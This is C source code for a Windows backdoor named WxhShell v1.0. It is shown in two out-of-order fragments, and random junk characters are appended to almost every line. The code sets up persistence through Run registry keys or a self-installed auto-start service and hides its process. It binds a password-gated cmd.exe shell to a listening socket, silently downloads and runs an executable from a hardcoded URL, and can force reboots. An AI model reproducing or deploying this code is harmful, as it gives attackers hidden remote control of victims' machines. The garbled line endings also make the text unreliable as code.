    if(Boot(SHUTDOWN)) } :0_%=)N<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ob\-OMNs@  
    else { K6kz{R%`  
    closesocket(wsh); inWLIXC,  
    ExitThread(0); E+aePoU  
    } I8Aq8XBw  
    break; _~z oMdT!  
    } 5dePpFD5  
  // 获取shell ~w? 02FU  
  case 's': { e$J>z {  
    CmdShell(wsh); C^L+R7  
    closesocket(wsh); J#I RbO)  
    ExitThread(0); +/ZIs|B4,z  
    break; i>YS%&O?  
  } fB8, )&  
  // 退出 !;eE7xn&  
  case 'x': { L,}'ST  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g'7E6n"!,  
    CloseIt(wsh); +>"s)R43  
    break; J8 qFdNK  
    } XwY,xg&o  
  // 离开 jr=9.=jI8k  
  case 'q': { &DLWlMGq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dHy9 wU  
    closesocket(wsh); wXIRn?z  
    WSACleanup(); B*T n@t W  
    exit(1); )[ V8YiyU  
    break; F w 0m(7  
        } {DRk{>K,  
  } *?FVLE  
  } .d<K`.O ;  
tF:AnNp=  
  // 提示信息 (BEe^]f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YvJFZ_faX  
} lq-KM8j  
  } &t= :xVn-M  
~*HQPp?v  
  return; w"j>^#8  
} |V a:*3u  
~CNB3r5R  
// shell模块句柄 @G4Z  
int CmdShell(SOCKET sock) ], lLD UZ\  
{ Tn&_ >R  
STARTUPINFO si; #`VAw ) eV  
ZeroMemory(&si,sizeof(si)); ;z'&$#pA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sq5,}oT_{j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \Y4(+t=4  
PROCESS_INFORMATION ProcessInfo; B[N]=V  
char cmdline[]="cmd"; ~/L:$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w?ugZYwX*  
  return 0; NM{)liP ;8  
} _4by3?<c  
J :O!4gI  
// 自身启动模式 _%e8GWf  
int StartFromService(void) Xdn&%5rI  
{ B4y_{V  
typedef struct ZC?~RXL(  
{ t<45[~[  
  DWORD ExitStatus; (Ceruo S  
  DWORD PebBaseAddress; i!a!qE.1  
  DWORD AffinityMask; `NIb? /!f  
  DWORD BasePriority; Rw?w7?I  
  ULONG UniqueProcessId; )]fsl_Yq  
  ULONG InheritedFromUniqueProcessId; 3Bl|~K;-  
}   PROCESS_BASIC_INFORMATION; UD-+BUV  
|{#St-!-7  
PROCNTQSIP NtQueryInformationProcess; Ok!P~2J  
L]=]/>jQ6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tx09B)0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ji/`OS-iq  
}F>RI jj  
  HANDLE             hProcess; v3DK0MW  
  PROCESS_BASIC_INFORMATION pbi; k=s^-Eiu  
 ``/L18  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); % !@E)%d0  
  if(NULL == hInst ) return 0; jj{:=l ZB  
o<nM-"yWb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ue}1(2.v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ti? "Hr<W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m6i ,xn  
&{Z+p(3Gj  
  if (!NtQueryInformationProcess) return 0; DGHSyB^+1  
c}@E@Y`@w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I'5[8  
  if(!hProcess) return 0; sX"L\v  
Fl)nmwO c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %e:+@%]  
EID-ROMO  
  CloseHandle(hProcess); F$UL.`X _/  
nvR%Ub x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OC&BJNOi  
if(hProcess==NULL) return 0; x// uF  
W> TG?hH  
HMODULE hMod; e)}E&D;${  
char procName[255]; Fg`<uW]TFZ  
unsigned long cbNeeded; p*<Jg l  
/we]i1-9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -53c0g@X  
=X'[r  
  CloseHandle(hProcess); n.l#(`($4  
Uh.swBC n  
if(strstr(procName,"services")) return 1; // 以服务启动 :q/s%`ob  
o33t~@RX  
  return 0; // 注册表启动 w[GEm,ZC  
} CbZ;gjgY*  
vAM1|,U  
// 主模块 lf-.c$.>  
int StartWxhshell(LPSTR lpCmdLine) kwp%5C-S  
{ 'd N1~Pa  
  SOCKET wsl; #w''WOk@ZG  
BOOL val=TRUE; f>Rux1Je4  
  int port=0; G ]h  
  struct sockaddr_in door; Ry +?#P+  
@x1cV_s[  
  if(wscfg.ws_autoins) Install(); uihH")Mo  
OG{*:1EP  
port=atoi(lpCmdLine); =Htt'""DN  
p-j6H  
if(port<=0) port=wscfg.ws_port; r 1HG$^  
Kb ]}p  
  WSADATA data; ,~3rY,y-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,|*Gr"Q=  
"EpH02{i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,x\qYz+7|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %vO(.A+  
  door.sin_family = AF_INET; *$O5.`]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Lx_Jw\YO  
  door.sin_port = htons(port); qb;b.P?~D$  
g{Av =66Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ASdW!4.p  
closesocket(wsl); =R:O`qdC4e  
return 1; >,Y+ 1  
} !n;3jAl&$  
<<-L,0  
  if(listen(wsl,2) == INVALID_SOCKET) { `Ij EwKra  
closesocket(wsl); *SJ[~  
return 1; B9,39rG/7+  
} b"\lF1Nf&o  
  Wxhshell(wsl); fTpG>*{p  
  WSACleanup(); jUD^]Qs  
sSh." H  
return 0; i=/hLE8T*  
^zTe9:hz/\  
} @(c^u;  
8 AW}7.<5  
// 以NT服务方式启动 v#gXXO[P1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B.=n U  
{ )@9Eq|jMC  
DWORD   status = 0; "O r1 f C  
  DWORD   specificError = 0xfffffff; h1?xfdvGd  
8Dl(zYK;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }bRn&)e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I Tl>HlS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p9jC-&:  
  serviceStatus.dwWin32ExitCode     = 0; (Q*x"G#4>  
  serviceStatus.dwServiceSpecificExitCode = 0; V0D&bN*  
  serviceStatus.dwCheckPoint       = 0; 8Vz!zYl  
  serviceStatus.dwWaitHint       = 0; R1 SFMI   
n;Mk\*Cg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4"|3pMr  
  if (hServiceStatusHandle==0) return; T}{zh  
y_>DszRN`u  
status = GetLastError(); $hc=H  
  if (status!=NO_ERROR) =?W7OV^BE  
{ xyo~p,(~t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +@uA  
    serviceStatus.dwCheckPoint       = 0; j|8!gW  
    serviceStatus.dwWaitHint       = 0; +-b'+mF  
    serviceStatus.dwWin32ExitCode     = status; Wtaz@ +  
    serviceStatus.dwServiceSpecificExitCode = specificError; v5@4 |u3ds  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X9PbU1o;  
    return; @-K[@e/uwy  
  } Xl1%c7r.1  
kI a16m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9:g A0Z  
  serviceStatus.dwCheckPoint       = 0; _1RvK? ;.{  
  serviceStatus.dwWaitHint       = 0; E5A"sB   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fn/?I \  
} s#<fj#S  
t{B@k[|  
// 处理NT服务事件,比如:启动、停止 dSKvs"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z796;qk  
{ u[KxI9Q  
switch(fdwControl) >VZxDJ$R  
{ v .*fJ   
case SERVICE_CONTROL_STOP: 4S*ifl  
  serviceStatus.dwWin32ExitCode = 0; <B T18u\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Kn3Xn`P?  
  serviceStatus.dwCheckPoint   = 0; R`$Y]@i&B  
  serviceStatus.dwWaitHint     = 0; CAx$A[f<  
  { $aEv*{$y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I*j~5fsS'  
  } _QHk&-Lp  
  return; [>>_%T\I  
case SERVICE_CONTROL_PAUSE: x]`F#5j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >&fD:y'&  
  break; Kg~D~ +j  
case SERVICE_CONTROL_CONTINUE: e}-fGtFx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 66-\}8f8a  
  break; y$nI?:d  
case SERVICE_CONTROL_INTERROGATE: O13]H"O_  
  break; {/)i}V#RE  
};  z9&j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ax\d{0/oL2  
} _\yR/W~  
LmyaC2  
// 标准应用程序主函数 Uc_ }="  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g$2#TWW5  
{ &ZMQ]'&  
|wJdp,q R  
// 获取操作系统版本 $bp$[fX(e  
OsIsNt=GetOsVer(); sqpo5~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }D!tB  
.fqy[qrM  
  // 从命令行安装 L'a+1O1q&i  
  if(strpbrk(lpCmdLine,"iI")) Install(); oCE'@}s.i  
LUxDP#~7  
  // 下载执行文件 W$wX[  
if(wscfg.ws_downexe) { &b^_~hB:q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LEjq<t1&  
  WinExec(wscfg.ws_filenam,SW_HIDE); uWClT):  
} JFc, f  
(!8b$) k  
if(!OsIsNt) { F (kq  
// 如果时win9x,隐藏进程并且设置为注册表启动 F{QOu0$cA4  
HideProc(); "0nsYE  
StartWxhshell(lpCmdLine); AH/^v;-  
} GK-P6d  
else !_3b#Caf  
  if(StartFromService()) Z'9|  
  // 以服务方式启动 u4T$  
  StartServiceCtrlDispatcher(DispatchTable); q9_AL8_  
else C7R3W,  
  // 普通方式启动 I6;6x  
  StartWxhshell(lpCmdLine); yKrb GK*=_  
ID`C  
return 0; fBZLWfp9  
} #?r|6<4X  
ChUE,)  
\z2y?"\?  
I+twI&GS  
=========================================== LHx ")H?,  
2!}F+^8'P  
,6MJW#~]  
Hmm0H6&u  
'MX|=K!C  
0+qC_ISns  
" o:cTc:l)  
@,= pG  
#include <stdio.h> cy(w*5Upu  
#include <string.h> {T^D&i# o  
#include <windows.h> bJ 6ivz  
#include <winsock2.h> 6&'kN 2  
#include <winsvc.h> P-[})Z=  
#include <urlmon.h> !pRu?5  
?[bE/Ya+S  
#pragma comment (lib, "Ws2_32.lib") 2V% z=  
#pragma comment (lib, "urlmon.lib") kl~/tbf  
yU/?4/G!  
#define MAX_USER   100 // 最大客户端连接数 9 4H')(  
#define BUF_SOCK   200 // sock buffer V&ETt.91Ft  
#define KEY_BUFF   255 // 输入 buffer \ ;]{`  
t oDi70o  
#define REBOOT     0   // 重启 oDD"h,Z  
#define SHUTDOWN   1   // 关机 !hfpa_5  
NBasf n  
#define DEF_PORT   5000 // 监听端口 /'.gZo  
;CS[Ja>e  
#define REG_LEN     16   // 注册表键长度 QGOkB  
#define SVC_LEN     80   // NT服务名长度 - |DWPU!"  
5tkKd4VfL  
// 从dll定义API h]~FYY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aqqo>O3 s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %X\A|V&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R0#scr   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @$5~`?  
k kD#Bb  
// wxhshell配置信息 C[%&;\3S@  
struct WSCFG { Sn'!Nq>  
  int ws_port;         // 监听端口 P}a$#a'!  
  char ws_passstr[REG_LEN]; // 口令 q$yg^:]2  
  int ws_autoins;       // 安装标记, 1=yes 0=no CDtL.a\  
  char ws_regname[REG_LEN]; // 注册表键名 V D7^wd9  
  char ws_svcname[REG_LEN]; // 服务名 4?@#w>(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VfJ{);   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A9SL|9Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n2-+.9cY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ami>Pp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OW=3t#"7Kp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g8'8"9:xC  
mh[,E8'd  
}; `{K-eHlrM9  
b@4UR<  
// default Wxhshell configuration !D{z. KO  
struct WSCFG wscfg={DEF_PORT, HH6H4K3Zj  
    "xuhuanlingzhe", ^|vk^`S  
    1, iJ*Wsp  
    "Wxhshell", a]P%Y.? r  
    "Wxhshell", $$0 < &  
            "WxhShell Service", DC> R  
    "Wrsky Windows CmdShell Service", RJ0,7 E<B  
    "Please Input Your Password: ", Yz[Rl ^  
  1, _8K8Ai-~.>  
  "http://www.wrsky.com/wxhshell.exe", JBw2#ry  
  "Wxhshell.exe" uA =%EEZ  
    }; Bx}"X?%S  
[];wP '*  
// 消息定义模块 IMdp"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _(gkYJ+MK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; # SCLU9-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &,PA+#  
char *msg_ws_ext="\n\rExit."; Z>3~n  
char *msg_ws_end="\n\rQuit."; [ywF!#'){  
char *msg_ws_boot="\n\rReboot..."; Mi(6HMA.SF  
char *msg_ws_poff="\n\rShutdown..."; 7=X6_AD  
char *msg_ws_down="\n\rSave to "; p(I^Y{sGI  
Gl w|*{$  
char *msg_ws_err="\n\rErr!"; *]<=04v]R  
char *msg_ws_ok="\n\rOK!"; BHgs,  
N#-. [9!  
char ExeFile[MAX_PATH]; Ufi#y<dP  
int nUser = 0; @,Dnl v|?  
HANDLE handles[MAX_USER]; v+sF0 j\P  
int OsIsNt; n{<@-6  
AIQ {^:  
SERVICE_STATUS       serviceStatus; {U3jJ#K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0^J%&1aIc  
4%qmwt*p  
// 函数声明 X1o R  
int Install(void); x~Z7p)D_<  
int Uninstall(void); jZidT9[g  
int DownloadFile(char *sURL, SOCKET wsh); U)-aecB!  
int Boot(int flag); avG#0AY  
void HideProc(void); \,p?pL<'  
int GetOsVer(void); )q4nyT>M  
int Wxhshell(SOCKET wsl); >a2[P"   
void TalkWithClient(void *cs); ,*lns.|n  
int CmdShell(SOCKET sock); 2w1Mf<IXPo  
int StartFromService(void); 5Y`4%*$  
int StartWxhshell(LPSTR lpCmdLine); rs>,p)  
g]44|9x(W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !U(S?:hvW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hV`?, ~K  
hF^JSCDz l  
// 数据结构和表定义 >zJkG9a  
SERVICE_TABLE_ENTRY DispatchTable[] = yCkWuU9  
{ O(0a l#Fvj  
{wscfg.ws_svcname, NTServiceMain}, BOvJEs!UX  
{NULL, NULL} f`>\bdz  
}; +J|LfXgB  
5M)B  
// 自我安装 Jr2>D=  
int Install(void) @g#| srYD  
{ "tk1W>liIN  
  char svExeFile[MAX_PATH]; U$a)lcJd  
  HKEY key; ';v2ld 9  
  strcpy(svExeFile,ExeFile); cJwe4c6.m  
I hSXU<]  
// 如果是win9x系统,修改注册表设为自启动 OH n~DL2  
if(!OsIsNt) { k"BM1-f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5)k/ 4l '  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L!/{Z  
  RegCloseKey(key); 9,Dw;|A]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {#z47Rz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u|ihUE!h  
  RegCloseKey(key); 32J/   
  return 0; <daH0l0  
    } ?_uan  
  } $E:z*~ ?  
} ^Vh^Z)gGi  
else {  %O(W;O  
*n@rPr-  
// 如果是NT以上系统,安装为系统服务 E:\#Ur2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SU7,uxF  
if (schSCManager!=0) xK1w->[  
{ |4aU&OX  
  SC_HANDLE schService = CreateService 5f@&XwD9  
  ( 9 s2z=^  
  schSCManager, V+0pvgS[  
  wscfg.ws_svcname, 6,~ %  
  wscfg.ws_svcdisp, /N/jwLr  
  SERVICE_ALL_ACCESS, @wAYhnxq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8BS Nm  
  SERVICE_AUTO_START, w[QC  
  SERVICE_ERROR_NORMAL, Zmk 9C@  
  svExeFile, +\PLUOk  
  NULL, *$('ous8  
  NULL, yswf2F  
  NULL, V*%><r  
  NULL, <7ag=IgDy  
  NULL NgxJz ]b  
  ); ) AGE"M3X  
  if (schService!=0) UAI'tRY N_  
  { tg/!=g  
  CloseServiceHandle(schService); Uul5h8F  
  CloseServiceHandle(schSCManager); 6_9@s*=d>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m9 D*I1  
  strcat(svExeFile,wscfg.ws_svcname); Dg ~k"Ice  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 65+2+p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "x_G6JE4tv  
  RegCloseKey(key); _a?x)3\v  
  return 0; nM8'="$  
    } 6(A"5B=\  
  } m5?t<H~  
  CloseServiceHandle(schSCManager); pwVGe|h%,  
} q8e]{sT'!  
} [zrFW g6N  
a*_" nI&lr  
return 1; sC :.}6  
} &)!N5Veb  
`v/p4/  
// 自我卸载 E%Ysyk  
int Uninstall(void) 8k Sb92  
{ /(s N@kt  
  HKEY key; w);Bet  
v&66F`  
if(!OsIsNt) { f.vJJa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~ /K'n  
  RegDeleteValue(key,wscfg.ws_regname); FA%BzU5^  
  RegCloseKey(key); CA/Lv{[2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hx~rq `{  
  RegDeleteValue(key,wscfg.ws_regname); J?&%fI  
  RegCloseKey(key); #V[Os!ns  
  return 0; \/m-G:|  
  } >8`;SEnv  
} mLHl]xs4  
} Ci3 b(KR  
else { 7$L*nf  
E|VTbE YG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8*]dA ft  
if (schSCManager!=0) lb}:! Y  
{ [F27i#'I]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4 `}6W>*R  
  if (schService!=0) niPqzi  
  { yyVE%e5nl  
  if(DeleteService(schService)!=0) { CSFE[F63  
  CloseServiceHandle(schService); ?IiFFfs  
  CloseServiceHandle(schSCManager); A;;OGJ,!\  
  return 0; CT=5V@_u\  
  } 4%jQHOZ  
  CloseServiceHandle(schService); >+[{m<Eq  
  } ge{%B~x  
  CloseServiceHandle(schSCManager); /XuOv(j  
} j  W -K  
} clT[ ?8*  
'L%)B-,n  
return 1; 8(-N;<Ef2  
} H ;HFen|  
 zK:2.4  
// 从指定url下载文件 6ZC~q=my  
int DownloadFile(char *sURL, SOCKET wsh) ]vCs9* |B  
{ Gkdxw uRw  
  HRESULT hr; :-+j,G9 t  
char seps[]= "/"; gYw=Z_z  
char *token; $j0<ef!  
char *file; 6s:  
char myURL[MAX_PATH]; q:,ck@-4  
char myFILE[MAX_PATH]; P`n"E8"ab<  
55Ye7P-d  
strcpy(myURL,sURL); TI^X gl~  
  token=strtok(myURL,seps); 3pkx3tp{  
  while(token!=NULL) 2$joM`j$  
  { ZP4y35&%y  
    file=token;  1W>0  
  token=strtok(NULL,seps); R+=Xr<`%U|  
  } l27J  
Lyjp  
GetCurrentDirectory(MAX_PATH,myFILE); - SCFWc  
strcat(myFILE, "\\"); }pT>dbZ  
strcat(myFILE, file); @.v{hkM`  
  send(wsh,myFILE,strlen(myFILE),0); ].N%A07  
send(wsh,"...",3,0); s#(<zBZ9p#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 69``j{Z+  
  if(hr==S_OK) Gwfi  
return 0; 'R n\CMTH  
else DV~g  
return 1; idZ]d6  
%wmbFj}  
} fj y2\J!  
\'P79=AU  
// 系统电源模块 u< 5{H='6  
int Boot(int flag) ?Aky!43  
{ n!?u/[@  
  HANDLE hToken; aN"dk-eK  
  TOKEN_PRIVILEGES tkp; )m10IyUAY  
2TX.%%Ze  
  if(OsIsNt) { kO8oH8Vt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2D{`AJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y:5Gp8Vi  
    tkp.PrivilegeCount = 1; ,k6V?{ZA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #Gu(h(Z s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SMHQh.O?5  
if(flag==REBOOT) { {mB &xz:b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;#dzw!+Y  
  return 0; lT F#efcW  
} XCE<].w  
else {  \.MPjD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >m`<AynJ  
  return 0; !4fT<V (  
} Y ^}c+)t  
  } WeS$$:ro  
  else { P<R'S  
if(flag==REBOOT) { PWN$x`h g[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7V;wCm#b  
  return 0; >L88`  
} 9*xv ,Yz8  
else { @t,Y< )U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?~rz'Pu~  
  return 0; Ccy0!re  
} pm'i4!mY<P  
} U$6(@&P!  
Znh) m  
return 1; W0 N*c*k  
} 2[Bw+<YA`  
|&0Cuwt  
// win9x进程隐藏模块 #9@UzfZAwT  
void HideProc(void) w O*x0$  
{ b:6e2|xf?  
Ve|=<7%%S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,Zs*07!$f  
  if ( hKernel != NULL ) 4k=LVu]Kcr  
  { 43o!Vr/ S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6vebGf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t p3 !6I6  
    FreeLibrary(hKernel); Z oQPvs7_  
  } G:!'hadw  
:LX (9f   
return; fTV}IP  
} ?8@EBPpC  
kk7M$)>d  
// 获取操作系统版本 ,Q>wcE6v  
int GetOsVer(void) fdzaM&  
{ t,R4q*  
  OSVERSIONINFO winfo; Q`[J3-Q*{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CJ[^Fi?CH  
  GetVersionEx(&winfo); >`Zw0S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ($^=f}+  
  return 1; $}Ky6sBnvO  
  else vS+E`[  
  return 0; _If:~mIs  
} h<IPV'1  
v L!?4k  
// 客户端句柄模块 f!+G1z}iA  
int Wxhshell(SOCKET wsl) ]sV) '-  
{ CC{{@  
  SOCKET wsh; }1pG0V4  
  struct sockaddr_in client; #)EVi7UP  
  DWORD myID; j\@osjUu  
'mU7N<Q$qQ  
  while(nUser<MAX_USER) ,L9ioYbp  
{ C: <TJ  
  int nSize=sizeof(client); *WZ?C|6+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (eF "[,z  
  if(wsh==INVALID_SOCKET) return 1; s N|7   
~<Sb:I zld  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tk,Vp3p  
if(handles[nUser]==0) ZH8Oidj`  
  closesocket(wsh); x"n)y1y  
else &{H LYxh   
  nUser++; <& p0:S7  
  } _q1E4z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "o>gX'm*  
B>,&{ah/5J  
  return 0; Fd/.\s  
}  wA7^   
%L eZd}v  
// 关闭 socket Jx4"~ 4  
void CloseIt(SOCKET wsh) %t J@)  
{ !O*uQB  
closesocket(wsh); ?9m@ S#@  
nUser--; Vrx3%_NkQ  
ExitThread(0); $WHmG!)*  
} B0eKj=y;  
#a=~a=c(^  
// 客户端请求句柄 Z2hIoCT  
void TalkWithClient(void *cs) S|v")6  
{ {/PiX1mn  
e95@4f^K2  
  SOCKET wsh=(SOCKET)cs; Ob>M]udn  
  char pwd[SVC_LEN]; hTK6N  
  char cmd[KEY_BUFF]; \S`|7JYW  
char chr[1]; 8S*W+l19f  
int i,j; %:hU:+G E  
v\b@;H`  
  while (nUser < MAX_USER) { w@"l0gm+u[  
0z:BSdno  
if(wscfg.ws_passstr) { mnS F=l;;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c 6Z\ecH9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m(?ZNtBQt  
  //ZeroMemory(pwd,KEY_BUFF); {|ChwM\x  
      i=0; OVgx2_F  
  while(i<SVC_LEN) { $@ Fvl-lK  
}E]&,[4&M  
  // 设置超时 j9]H~:g$d  
  fd_set FdRead; O[/l';i  
  struct timeval TimeOut; |>L|7>J{<d  
  FD_ZERO(&FdRead); QvjOOc@k~n  
  FD_SET(wsh,&FdRead); y( uE  
  TimeOut.tv_sec=8; ej&ZE n  
  TimeOut.tv_usec=0; Ec;{N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZVX!=3VT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5zR9N>!c  
f+iM_MI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vv3{jn6%  
  pwd=chr[0]; +U];  
  if(chr[0]==0xd || chr[0]==0xa) { 9 9S-P}xd  
  pwd=0; VwxLElV  
  break; huw|J<$  
  } wc.T;(  
  i++; X9oxni#  
    } {X'D07q  
3ZEV*=+T5  
  // 如果是非法用户,关闭 socket I!OV+utF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B>"O~ gZ{#  
} 1hnw+T<<W  
xU_Dg56z'&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {3{cU#\QA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ui$JQ_P  
ap[{`u  
while(1) { j9G1  _  
a2tRmil  
  ZeroMemory(cmd,KEY_BUFF); :`w'}h7m  
lyYi2& %  
      // 自动支持客户端 telnet标准   eH9Ofhsry  
  j=0; /<WK2G  
  while(j<KEY_BUFF) { b ?-VZA:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q4vl  
  cmd[j]=chr[0]; f R?Xq@c  
  if(chr[0]==0xa || chr[0]==0xd) { N 2\lBi  
  cmd[j]=0; 8kwe._&)  
  break; Bw;LGEHi|  
  } ]~H\X":[>  
  j++; oPPxja g\  
    } |0e7<[  
IxQ(g#sj_k  
  // 下载文件 =A< Fcl\Rz  
  if(strstr(cmd,"http://")) { 1<ic 5kB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |JD"iP:  
  if(DownloadFile(cmd,wsh)) 4$^\s5K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1>"[b8a/  
  else jjLwHJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h &R1"  
  } byW9]('e  
  else { S[zX@3eZV  
wmQT$`$b  
    switch(cmd[0]) { {+V]saYP  
  eXdE?j  
